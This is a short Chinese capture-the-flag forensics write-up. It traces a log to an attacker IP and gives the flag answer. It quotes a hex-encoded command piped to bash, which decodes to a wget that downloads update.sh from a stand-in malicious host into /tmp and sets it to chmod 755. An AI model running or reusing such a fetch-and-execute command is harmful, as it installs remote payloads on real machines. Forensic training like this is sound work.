2026CCF-深夜的异常登录

先下载附件解压得到combined.log文件打开它但是我们要的是请找出攻击者的真实 IP、下载的恶意脚本文件名以及赋予的执行权限即执行命令的ip所以不是它。ip203.0.113.88审计日志中发现一条关键执行记录echo 7767... | xxd -p -r | bash这是典型的hex 编码 解码执行混淆手法得出真实命令wget http://malicious.com/update.sh -O /tmp/update.sh chmod 755 /tmp/update.sh即可得到结果flag{203.0.113.88_update.sh_755}